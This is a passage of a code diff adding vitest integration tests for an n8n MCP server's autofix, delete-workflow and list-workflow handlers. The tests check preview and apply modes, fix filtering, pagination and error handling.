+      // Create workflow with expression format issues
+      const workflow = {
+        name: createTestWorkflowName('Autofix - Preview Expression'),
+        nodes: [
+          {
+            id: 'webhook-1',
+            name: 'Webhook',
+            type: 'n8n-nodes-base.webhook',
+            typeVersion: 2,
+            position: [250, 300] as [number, number],
+            parameters: {
+              httpMethod: 'GET',
+              path: 'test'
+            }
+          },
+          {
+            id: 'set-1',
+            name: 'Set',
+            type: 'n8n-nodes-base.set',
+            typeVersion: 3.4,
+            position: [450, 300] as [number, number],
+            parameters: {
+              // Bad expression format (missing {{}})
+              assignments: {
+                assignments: [
+                  {
+                    id: '1',
+                    name: 'value',
+                    value: '$json.data',  // Should be {{ $json.data }}
+                    type: 'string'
+                  }
+                ]
+              }
+            }
+          }
+        ],
+        connections: {
+          Webhook: {
+            main: [[{ node: 'Set', type: 'main', index: 0 }]]
+          }
+        },
+        settings: {},
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      // Preview fixes (applyFixes: false)
+      const response = await handleAutofixWorkflow(
+        {
+          id: created.id,
+          applyFixes: false
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as AutofixResponse;
+
+      // If fixes are available, should be in preview mode
+      if (data.fixesAvailable && data.fixesAvailable > 0) {
+        expect(data.preview).toBe(true);
+        expect(data.fixes).toBeDefined();
+        expect(Array.isArray(data.fixes)).toBe(true);
+        expect(data.summary).toBeDefined();
+        expect(data.stats).toBeDefined();
+
+        // Verify workflow not modified (fetch it back)
+        const fetched = await client.getWorkflow(created.id!);
+        const params = fetched.nodes[1].parameters as { assignments: { assignments: Array<{ value: string }> } };
+        expect(params.assignments.assignments[0].value).toBe('$json.data');
+      } else {
+        // No fixes available - that's also a valid result
+        expect(data.message).toContain('No automatic fixes available');
+      }
+    });
+
+    it('should preview multiple fix types', async () => {
+      // Create workflow with multiple issues
+      const workflow = {
+        name: createTestWorkflowName('Autofix - Preview Multiple'),
+        nodes: [
+          {
+            id: 'webhook-1',
+            name: 'Webhook',
+            type: 'n8n-nodes-base.webhook',
+            typeVersion: 1, // Old typeVersion
+            position: [250, 300] as [number, number],
+            parameters: {
+              httpMethod: 'GET'
+              // Missing path parameter
+            }
+          }
+        ],
+        connections: {},
+        settings: {},
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleAutofixWorkflow(
+        {
+          id: created.id,
+          applyFixes: false
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data.preview).toBe(true);
+      expect(data.fixesAvailable).toBeGreaterThan(0);
+    });
+  });
+
+  // ======================================================================
+  // Apply Mode (applyFixes: true)
+  // ======================================================================
+
+  describe('Apply Mode', () => {
+    it('should apply expression-format fixes', async () => {
+      const workflow = {
+        name: createTestWorkflowName('Autofix - Apply Expression'),
+        nodes: [
+          {
+            id: 'webhook-1',
+            name: 'Webhook',
+            type: 'n8n-nodes-base.webhook',
+            typeVersion: 2,
+            position: [250, 300] as [number, number],
+            parameters: {
+              httpMethod: 'GET',
+              path: 'test'
+            }
+          },
+          {
+            id: 'set-1',
+            name: 'Set',
+            type: 'n8n-nodes-base.set',
+            typeVersion: 3.4,
+            position: [450, 300] as [number, number],
+            parameters: {
+              assignments: {
+                assignments: [
+                  {
+                    id: '1',
+                    name: 'value',
+                    value: '$json.data',  // Bad format
+                    type: 'string'
+                  }
+                ]
+              }
+            }
+          }
+        ],
+        connections: {
+          Webhook: {
+            main: [[{ node: 'Set', type: 'main', index: 0 }]]
+          }
+        },
+        settings: {},
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      // Apply fixes
+      const response = await handleAutofixWorkflow(
+        {
+          id: created.id,
+          applyFixes: true,
+          fixTypes: ['expression-format']
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      // If fixes were applied
+      if (data.fixesApplied && data.fixesApplied > 0) {
+        expect(data.fixes).toBeDefined();
+        expect(data.preview).toBeUndefined();
+
+        // Verify workflow was actually modified
+        const fetched = await client.getWorkflow(created.id!);
+        const params = fetched.nodes[1].parameters as { assignments: { assignments: Array<{ value: unknown }> } };
+        const setValue = params.assignments.assignments[0].value;
+        // Expression format should be fixed (depends on what fixes were available)
+        expect(setValue).toBeDefined();
+      } else {
+        // No fixes available or applied - that's also valid
+        expect(data.message).toBeDefined();
+      }
+    });
+
+    it('should apply webhook-missing-path fixes', async () => {
+      const workflow = {
+        name: createTestWorkflowName('Autofix - Apply Webhook Path'),
+        nodes: [
+          {
+            id: 'webhook-1',
+            name: 'Webhook',
+            type: 'n8n-nodes-base.webhook',
+            typeVersion: 2,
+            position: [250, 300] as [number, number],
+            parameters: {
+              httpMethod: 'GET'
+              // Missing path
+            }
+          }
+        ],
+        connections: {},
+        settings: {},
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleAutofixWorkflow(
+        {
+          id: created.id,
+          applyFixes: true,
+          fixTypes: ['webhook-missing-path']
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      if (data.fixesApplied > 0) {
+        // Verify path was added
+        const fetched = await client.getWorkflow(created.id!);
+        expect(fetched.nodes[0].parameters.path).toBeDefined();
+        expect(fetched.nodes[0].parameters.path).toBeTruthy();
+      }
+    });
+  });
+
+  // ======================================================================
+  // Fix Type Filtering
+  // ======================================================================
+
+  describe('Fix Type Filtering', () => {
+    it('should only apply specified fix types', async () => {
+      const workflow = {
+        name: createTestWorkflowName('Autofix - Filter Fix Types'),
+        nodes: [
+          {
+            id: 'webhook-1',
+            name: 'Webhook',
+            type: 'n8n-nodes-base.webhook',
+            typeVersion: 1, // Old typeVersion
+            position: [250, 300] as [number, number],
+            parameters: {
+              httpMethod: 'GET'
+              // Missing path
+            }
+          }
+        ],
+        connections: {},
+        settings: {},
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      // Only request webhook-missing-path fixes (ignore typeversion issues)
+      const response = await handleAutofixWorkflow(
+        {
+          id: created.id,
+          applyFixes: false,
+          fixTypes: ['webhook-missing-path']
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      // Should only show webhook-missing-path fixes
+      if (data.fixes && data.fixes.length > 0) {
+        data.fixes.forEach((fix: any) => {
+          expect(fix.type).toBe('webhook-missing-path');
+        });
+      }
+    });
+
+    it('should handle multiple fix types filter', async () => {
+      const workflow = {
+        name: createTestWorkflowName('Autofix - Multiple Filter'),
+        nodes: [
+          {
+            id: 'webhook-1',
+            name: 'Webhook',
+            type: 'n8n-nodes-base.webhook',
+            typeVersion: 2,
+            position: [250, 300] as [number, number],
+            parameters: {
+              httpMethod: 'GET',
+              path: 'test'
+            }
+          }
+        ],
+        connections: {},
+        settings: {},
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleAutofixWorkflow(
+        {
+          id: created.id,
+          applyFixes: false,
+          fixTypes: ['expression-format', 'webhook-missing-path']
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+    });
+  });
+
+  // ======================================================================
+  // Confidence Threshold
+  // ======================================================================
+
+  describe('Confidence Threshold', () => {
+    it('should filter fixes by high confidence threshold', async () => {
+      const workflow = {
+        name: createTestWorkflowName('Autofix - High Confidence'),
+        nodes: [
+          {
+            id: 'webhook-1',
+            name: 'Webhook',
+            type: 'n8n-nodes-base.webhook',
+            typeVersion: 2,
+            position: [250, 300] as [number, number],
+            parameters: {
+              httpMethod: 'GET',
+              path: 'test'
+            }
+          }
+        ],
+        connections: {},
+        settings: {},
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleAutofixWorkflow(
+        {
+          id: created.id,
+          applyFixes: false,
+          confidenceThreshold: 'high'
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      // All fixes should be high confidence
+      if (data.fixes && data.fixes.length > 0) {
+        data.fixes.forEach((fix: any) => {
+          expect(fix.confidence).toBe('high');
+        });
+      }
+    });
+
+    it('should include medium and high confidence with medium threshold', async () => {
+      const workflow = {
+        name: createTestWorkflowName('Autofix - Medium Confidence'),
+        nodes: [
+          {
+            id: 'webhook-1',
+            name: 'Webhook',
+            type: 'n8n-nodes-base.webhook',
+            typeVersion: 2,
+            position: [250, 300] as [number, number],
+            parameters: {
+              httpMethod: 'GET',
+              path: 'test'
+            }
+          }
+        ],
+        connections: {},
+        settings: {},
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleAutofixWorkflow(
+        {
+          id: created.id,
+          applyFixes: false,
+          confidenceThreshold: 'medium'
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      // Fixes should be medium or high confidence
+      if (data.fixes && data.fixes.length > 0) {
+        data.fixes.forEach((fix: any) => {
+          expect(['high', 'medium']).toContain(fix.confidence);
+        });
+      }
+    });
+
+    it('should include all confidence levels with low threshold', async () => {
+      const workflow = {
+        name: createTestWorkflowName('Autofix - Low Confidence'),
+        nodes: [
+          {
+            id: 'webhook-1',
+            name: 'Webhook',
+            type: 'n8n-nodes-base.webhook',
+            typeVersion: 2,
+            position: [250, 300] as [number, number],
+            parameters: {
+              httpMethod: 'GET',
+              path: 'test'
+            }
+          }
+        ],
+        connections: {},
+        settings: {},
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleAutofixWorkflow(
+        {
+          id: created.id,
+          applyFixes: false,
+          confidenceThreshold: 'low'
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+    });
+  });
+
+  // ======================================================================
+  // Max Fixes Parameter
+  // ======================================================================
+
+  describe('Max Fixes Parameter', () => {
+    it('should limit fixes to maxFixes parameter', async () => {
+      // Create workflow with multiple issues
+      const workflow = {
+        name: createTestWorkflowName('Autofix - Max Fixes'),
+        nodes: [
+          {
+            id: 'webhook-1',
+            name: 'Webhook',
+            type: 'n8n-nodes-base.webhook',
+            typeVersion: 2,
+            position: [250, 300] as [number, number],
+            parameters: {
+              httpMethod: 'GET',
+              path: 'test'
+            }
+          },
+          {
+            id: 'set-1',
+            name: 'Set 1',
+            type: 'n8n-nodes-base.set',
+            typeVersion: 3.4,
+            position: [450, 300] as [number, number],
+            parameters: {
+              assignments: {
+                assignments: [
+                  { id: '1', name: 'val1', value: '$json.a', type: 'string' },
+                  { id: '2', name: 'val2', value: '$json.b', type: 'string' },
+                  { id: '3', name: 'val3', value: '$json.c', type: 'string' }
+                ]
+              }
+            }
+          }
+        ],
+        connections: {
+          Webhook: {
+            main: [[{ node: 'Set 1', type: 'main', index: 0 }]]
+          }
+        },
+        settings: {},
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      // Limit to 1 fix
+      const response = await handleAutofixWorkflow(
+        {
+          id: created.id,
+          applyFixes: false,
+          maxFixes: 1
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      // Should have at most 1 fix
+      if (data.fixes) {
+        expect(data.fixes.length).toBeLessThanOrEqual(1);
+      }
+    });
+  });
+
+  // ======================================================================
+  // No Fixes Available
+  // ======================================================================
+
+  describe('No Fixes Available', () => {
+    it('should handle workflow with no fixable issues', async () => {
+      // Create valid workflow
+      const workflow = {
+        name: createTestWorkflowName('Autofix - No Issues'),
+        nodes: [
+          {
+            id: 'webhook-1',
+            name: 'Webhook',
+            type: 'n8n-nodes-base.webhook',
+            typeVersion: 2,
+            position: [250, 300] as [number, number],
+            parameters: {
+              httpMethod: 'GET',
+              path: 'test-webhook'
+            }
+          }
+        ],
+        connections: {},
+        settings: {},
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleAutofixWorkflow(
+        {
+          id: created.id,
+          applyFixes: false
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data.message).toContain('No automatic fixes available');
+      expect(data.validationSummary).toBeDefined();
+    });
+  });
+
+  // ======================================================================
+  // Error Handling
+  // ======================================================================
+
+  describe('Error Handling', () => {
+    it('should handle non-existent workflow ID', async () => {
+      const response = await handleAutofixWorkflow(
+        {
+          id: '99999999',
+          applyFixes: false
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(false);
+      expect(response.error).toBeDefined();
+    });
+
+    it('should handle invalid fixTypes parameter', async () => {
+      const workflow = {
+        name: createTestWorkflowName('Autofix - Invalid Param'),
+        nodes: [
+          {
+            id: 'webhook-1',
+            name: 'Webhook',
+            type: 'n8n-nodes-base.webhook',
+            typeVersion: 2,
+            position: [250, 300] as [number, number],
+            parameters: {
+              httpMethod: 'GET',
+              path: 'test'
+            }
+          }
+        ],
+        connections: {},
+        settings: {},
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleAutofixWorkflow(
+        {
+          id: created.id,
+          applyFixes: false,
+          fixTypes: ['invalid-fix-type'] as any
+        },
+        repository,
+        mcpContext
+      );
+
+      // Should either fail validation or ignore invalid type
+      expect(response.success).toBe(false);
+    });
+
+    it('should handle invalid confidence threshold', async () => {
+      const workflow = {
+        name: createTestWorkflowName('Autofix - Invalid Confidence'),
+        nodes: [
+          {
+            id: 'webhook-1',
+            name: 'Webhook',
+            type: 'n8n-nodes-base.webhook',
+            typeVersion: 2,
+            position: [250, 300] as [number, number],
+            parameters: {
+              httpMethod: 'GET',
+              path: 'test'
+            }
+          }
+        ],
+        connections: {},
+        settings: {},
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleAutofixWorkflow(
+        {
+          id: created.id,
+          applyFixes: false,
+          confidenceThreshold: 'invalid' as any
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(false);
+    });
+  });
+
+  // ======================================================================
+  // Response Format Verification
+  // ======================================================================
+
+  describe('Response Format', () => {
+    it('should return complete autofix response structure (preview)', async () => {
+      const workflow = {
+        name: createTestWorkflowName('Autofix - Response Format Preview'),
+        nodes: [
+          {
+            id: 'webhook-1',
+            name: 'Webhook',
+            type: 'n8n-nodes-base.webhook',
+            typeVersion: 2,
+            position: [250, 300] as [number, number],
+            parameters: {
+              httpMethod: 'GET'
+              // Missing path to trigger fixes
+            }
+          }
+        ],
+        connections: {},
+        settings: {},
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleAutofixWorkflow(
+        {
+          id: created.id,
+          applyFixes: false
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      // Verify required fields
+      expect(data).toHaveProperty('workflowId');
+      expect(data).toHaveProperty('workflowName');
+
+      // Preview mode specific fields
+      if (data.fixesAvailable > 0) {
+        expect(data).toHaveProperty('preview');
+        expect(data.preview).toBe(true);
+        expect(data).toHaveProperty('fixesAvailable');
+        expect(data).toHaveProperty('fixes');
+        expect(data).toHaveProperty('summary');
+        expect(data).toHaveProperty('stats');
+        expect(data).toHaveProperty('message');
+
+        // Verify fixes structure
+        expect(Array.isArray(data.fixes)).toBe(true);
+        if (data.fixes.length > 0) {
+          const fix = data.fixes[0];
+          expect(fix).toHaveProperty('type');
+          expect(fix).toHaveProperty('confidence');
+          expect(fix).toHaveProperty('description');
+        }
+      }
+    });
+
+    it('should return complete autofix response structure (apply)', async () => {
+      const workflow = {
+        name: createTestWorkflowName('Autofix - Response Format Apply'),
+        nodes: [
+          {
+            id: 'webhook-1',
+            name: 'Webhook',
+            type: 'n8n-nodes-base.webhook',
+            typeVersion: 2,
+            position: [250, 300] as [number, number],
+            parameters: {
+              httpMethod: 'GET'
+              // Missing path
+            }
+          }
+        ],
+        connections: {},
+        settings: {},
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      const response = await handleAutofixWorkflow(
+        {
+          id: created.id,
+          applyFixes: true
+        },
+        repository,
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data).toHaveProperty('workflowId');
+      expect(data).toHaveProperty('workflowName');
+
+      // Apply mode specific fields
+      if (data.fixesApplied > 0) {
+        expect(data).toHaveProperty('fixesApplied');
+        expect(data).toHaveProperty('fixes');
+        expect(data).toHaveProperty('summary');
+        expect(data).toHaveProperty('stats');
+        expect(data).toHaveProperty('message');
+        expect(data.preview).toBeUndefined();
+
+        // Verify types
+        expect(typeof data.fixesApplied).toBe('number');
+        expect(Array.isArray(data.fixes)).toBe(true);
+      }
+    });
+  });
+});

tests/integration/n8n-api/workflows/delete-workflow.test.ts

@@ -0,0 +1,132 @@
+/**
+ * Integration Tests: handleDeleteWorkflow
+ *
+ * Tests workflow deletion against a real n8n instance.
+ * Covers successful deletion, error handling, and cleanup verification.
+ */
+
+import { describe, it, expect, beforeEach, afterEach, afterAll } from 'vitest';
+import { createTestContext, TestContext, createTestWorkflowName } from '../utils/test-context';
+import { getTestN8nClient } from '../utils/n8n-client';
+import { N8nApiClient } from '../../../../src/services/n8n-api-client';
+import { SIMPLE_WEBHOOK_WORKFLOW } from '../utils/fixtures';
+import { cleanupOrphanedWorkflows } from '../utils/cleanup-helpers';
+import { createMcpContext } from '../utils/mcp-context';
+import { InstanceContext } from '../../../../src/types/instance-context';
+import { handleDeleteWorkflow } from '../../../../src/mcp/handlers-n8n-manager';
+
+describe('Integration: handleDeleteWorkflow', () => {
+  let context: TestContext;
+  let client: N8nApiClient;
+  let mcpContext: InstanceContext;
+
+  beforeEach(() => {
+    context = createTestContext();
+    client = getTestN8nClient();
+    mcpContext = createMcpContext();
+  });
+
+  afterEach(async () => {
+    await context.cleanup();
+  });
+
+  afterAll(async () => {
+    if (!process.env.CI) {
+      await cleanupOrphanedWorkflows();
+    }
+  });
+
+  // ======================================================================
+  // Successful Deletion
+  // ======================================================================
+
+  describe('Successful Deletion', () => {
+    it('should delete an existing workflow', async () => {
+      // Create workflow
+      const workflow = {
+        ...SIMPLE_WEBHOOK_WORKFLOW,
+        name: createTestWorkflowName('Delete - Success'),
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      expect(created.id).toBeTruthy();
+      if (!created.id) throw new Error('Workflow ID is missing');
+
+      // Do NOT track workflow since we're testing deletion
+      // context.trackWorkflow(created.id);
+
+      // Delete using MCP handler
+      const response = await handleDeleteWorkflow(
+        { id: created.id },
+        mcpContext
+      );
+
+      // Verify MCP response
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+
+      // Verify workflow is actually deleted
+      await expect(async () => {
+        await client.getWorkflow(created.id!);
+      }).rejects.toThrow();
+    });
+  });
+
+  // ======================================================================
+  // Error Handling
+  // ======================================================================
+
+  describe('Error Handling', () => {
+    it('should return error for non-existent workflow ID', async () => {
+      const response = await handleDeleteWorkflow(
+        { id: '99999999' },
+        mcpContext
+      );
+
+      expect(response.success).toBe(false);
+      expect(response.error).toBeDefined();
+    });
+  });
+
+  // ======================================================================
+  // Cleanup Verification
+  // ======================================================================
+
+  describe('Cleanup Verification', () => {
+    it('should verify workflow is actually deleted from n8n', async () => {
+      // Create workflow
+      const workflow = {
+        ...SIMPLE_WEBHOOK_WORKFLOW,
+        name: createTestWorkflowName('Delete - Cleanup Check'),
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      expect(created.id).toBeTruthy();
+      if (!created.id) throw new Error('Workflow ID is missing');
+
+      // Verify workflow exists
+      const beforeDelete = await client.getWorkflow(created.id);
+      expect(beforeDelete.id).toBe(created.id);
+
+      // Delete workflow
+      const deleteResponse = await handleDeleteWorkflow(
+        { id: created.id },
+        mcpContext
+      );
+
+      expect(deleteResponse.success).toBe(true);
+
+      // Verify workflow no longer exists
+      try {
+        await client.getWorkflow(created.id);
+        // If we reach here, workflow wasn't deleted
+        throw new Error('Workflow should have been deleted but still exists');
+      } catch (error: any) {
+        // Expected: workflow should not be found
+        expect(error.message).toMatch(/not found|404/i);
+      }
+    });
+  });
+});

tests/integration/n8n-api/workflows/list-workflows.test.ts

@@ -0,0 +1,438 @@
+/**
+ * Integration Tests: handleListWorkflows
+ *
+ * Tests workflow listing against a real n8n instance.
+ * Covers filtering, pagination, and various list parameters.
+ */
+
+import { describe, it, expect, beforeEach, afterEach, afterAll } from 'vitest';
+import { createTestContext, TestContext, createTestWorkflowName } from '../utils/test-context';
+import { getTestN8nClient } from '../utils/n8n-client';
+import { N8nApiClient } from '../../../../src/services/n8n-api-client';
+import { SIMPLE_WEBHOOK_WORKFLOW, SIMPLE_HTTP_WORKFLOW } from '../utils/fixtures';
+import { cleanupOrphanedWorkflows } from '../utils/cleanup-helpers';
+import { createMcpContext } from '../utils/mcp-context';
+import { InstanceContext } from '../../../../src/types/instance-context';
+import { handleListWorkflows } from '../../../../src/mcp/handlers-n8n-manager';
+
+describe('Integration: handleListWorkflows', () => {
+  let context: TestContext;
+  let client: N8nApiClient;
+  let mcpContext: InstanceContext;
+
+  beforeEach(() => {
+    context = createTestContext();
+    client = getTestN8nClient();
+    mcpContext = createMcpContext();
+  });
+
+  afterEach(async () => {
+    await context.cleanup();
+  });
+
+  afterAll(async () => {
+    if (!process.env.CI) {
+      await cleanupOrphanedWorkflows();
+    }
+  });
+
+  // ======================================================================
+  // No Filters
+  // ======================================================================
+
+  describe('No Filters', () => {
+    it('should list all workflows without filters', async () => {
+      // Create test workflows
+      const workflow1 = {
+        ...SIMPLE_WEBHOOK_WORKFLOW,
+        name: createTestWorkflowName('List - All 1'),
+        tags: ['mcp-integration-test']
+      };
+
+      const workflow2 = {
+        ...SIMPLE_HTTP_WORKFLOW,
+        name: createTestWorkflowName('List - All 2'),
+        tags: ['mcp-integration-test']
+      };
+
+      const created1 = await client.createWorkflow(workflow1);
+      const created2 = await client.createWorkflow(workflow2);
+      context.trackWorkflow(created1.id!);
+      context.trackWorkflow(created2.id!);
+
+      // List workflows without filters
+      const response = await handleListWorkflows({}, mcpContext);
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+
+      const data = response.data as any;
+      expect(Array.isArray(data.workflows)).toBe(true);
+      expect(data.workflows.length).toBeGreaterThan(0);
+
+      // Our workflows should be in the list
+      const workflow1Found = data.workflows.find((w: any) => w.id === created1.id);
+      const workflow2Found = data.workflows.find((w: any) => w.id === created2.id);
+      expect(workflow1Found).toBeDefined();
+      expect(workflow2Found).toBeDefined();
+    });
+  });
+
+  // ======================================================================
+  // Filter by Active Status
+  // ======================================================================
+
+  describe('Filter by Active Status', () => {
+    it('should filter workflows by active=true', async () => {
+      // Create active workflow
+      const activeWorkflow = {
+        ...SIMPLE_WEBHOOK_WORKFLOW,
+        name: createTestWorkflowName('List - Active'),
+        active: true,
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(activeWorkflow);
+      context.trackWorkflow(created.id!);
+
+      // Activate workflow
+      await client.updateWorkflow(created.id!, {
+        ...activeWorkflow,
+        active: true
+      });
+
+      // List active workflows
+      const response = await handleListWorkflows(
+        { active: true },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      // All returned workflows should be active
+      data.workflows.forEach((w: any) => {
+        expect(w.active).toBe(true);
+      });
+    });
+
+    it('should filter workflows by active=false', async () => {
+      // Create inactive workflow
+      const inactiveWorkflow = {
+        ...SIMPLE_WEBHOOK_WORKFLOW,
+        name: createTestWorkflowName('List - Inactive'),
+        active: false,
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(inactiveWorkflow);
+      context.trackWorkflow(created.id!);
+
+      // List inactive workflows
+      const response = await handleListWorkflows(
+        { active: false },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      // All returned workflows should be inactive
+      data.workflows.forEach((w: any) => {
+        expect(w.active).toBe(false);
+      });
+
+      // Our workflow should be in the list
+      const found = data.workflows.find((w: any) => w.id === created.id);
+      expect(found).toBeDefined();
+    });
+  });
+
+  // ======================================================================
+  // Filter by Tags
+  // ======================================================================
+
+  describe('Filter by Tags', () => {
+    it('should filter workflows by name instead of tags', async () => {
+      // Note: Tags filtering requires tag IDs, not names, and tags are readonly in workflow creation
+      // This test filters by name instead, which is more reliable for integration testing
+      const uniqueName = createTestWorkflowName('List - Name Filter Test');
+      const workflow = {
+        ...SIMPLE_WEBHOOK_WORKFLOW,
+        name: uniqueName,
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      // List all workflows and verify ours is included
+      const response = await handleListWorkflows({}, mcpContext);
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      // Our workflow should be in the list
+      const found = data.workflows.find((w: any) => w.id === created.id);
+      expect(found).toBeDefined();
+      expect(found.name).toBe(uniqueName);
+    });
+  });
+
+  // ======================================================================
+  // Pagination
+  // ======================================================================
+
+  describe('Pagination', () => {
+    it('should return first page with limit', async () => {
+      // Create multiple workflows
+      const workflows = [];
+      for (let i = 0; i < 3; i++) {
+        const workflow = {
+          ...SIMPLE_WEBHOOK_WORKFLOW,
+          name: createTestWorkflowName(`List - Page ${i}`),
+          tags: ['mcp-integration-test']
+        };
+        const created = await client.createWorkflow(workflow);
+        context.trackWorkflow(created.id!);
+        workflows.push(created);
+      }
+
+      // List first page with limit
+      const response = await handleListWorkflows(
+        { limit: 2 },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data.workflows.length).toBeLessThanOrEqual(2);
+      expect(data.hasMore).toBeDefined();
+      expect(data.nextCursor).toBeDefined();
+    });
+
+    it('should handle pagination with cursor', async () => {
+      // Create multiple workflows
+      for (let i = 0; i < 5; i++) {
+        const workflow = {
+          ...SIMPLE_WEBHOOK_WORKFLOW,
+          name: createTestWorkflowName(`List - Cursor ${i}`),
+          tags: ['mcp-integration-test']
+        };
+        const created = await client.createWorkflow(workflow);
+        context.trackWorkflow(created.id!);
+      }
+
+      // Get first page
+      const firstPage = await handleListWorkflows(
+        { limit: 2 },
+        mcpContext
+      );
+
+      expect(firstPage.success).toBe(true);
+      const firstData = firstPage.data as any;
+
+      if (firstData.hasMore && firstData.nextCursor) {
+        // Get second page using cursor
+        const secondPage = await handleListWorkflows(
+          { limit: 2, cursor: firstData.nextCursor },
+          mcpContext
+        );
+
+        expect(secondPage.success).toBe(true);
+        const secondData = secondPage.data as any;
+
+        // Second page should have different workflows
+        const firstIds = new Set(firstData.workflows.map((w: any) => w.id));
+        const secondIds = secondData.workflows.map((w: any) => w.id);
+
+        secondIds.forEach((id: string) => {
+          expect(firstIds.has(id)).toBe(false);
+        });
+      }
+    });
+
+    it('should handle last page (no more results)', async () => {
+      // Create single workflow
+      const workflow = {
+        ...SIMPLE_WEBHOOK_WORKFLOW,
+        name: createTestWorkflowName('List - Last Page'),
+        tags: ['mcp-integration-test', 'unique-last-page-tag']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      // List with high limit and unique tag
+      const response = await handleListWorkflows(
+        {
+          tags: ['unique-last-page-tag'],
+          limit: 100
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      // Should not have more results
+      expect(data.hasMore).toBe(false);
+      expect(data.workflows.length).toBeLessThanOrEqual(100);
+    });
+  });
+
+  // ======================================================================
+  // Limit Variations
+  // ======================================================================
+
+  describe('Limit Variations', () => {
+    it('should respect limit=1', async () => {
+      // Create workflow
+      const workflow = {
+        ...SIMPLE_WEBHOOK_WORKFLOW,
+        name: createTestWorkflowName('List - Limit 1'),
+        tags: ['mcp-integration-test']
+      };
+
+      const created = await client.createWorkflow(workflow);
+      context.trackWorkflow(created.id!);
+
+      // List with limit=1
+      const response = await handleListWorkflows(
+        { limit: 1 },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data.workflows.length).toBe(1);
+    });
+
+    it('should respect limit=50', async () => {
+      // List with limit=50
+      const response = await handleListWorkflows(
+        { limit: 50 },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data.workflows.length).toBeLessThanOrEqual(50);
+    });
+
+    it('should respect limit=100 (max)', async () => {
+      // List with limit=100
+      const response = await handleListWorkflows(
+        { limit: 100 },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data.workflows.length).toBeLessThanOrEqual(100);
+    });
+  });
+
+  // ======================================================================
+  // Exclude Pinned Data
+  // ======================================================================
+
+  describe('Exclude Pinned Data', () => {
+    it('should exclude pinned data when requested', async () => {
+      // Create workflow
+      const workflow = {
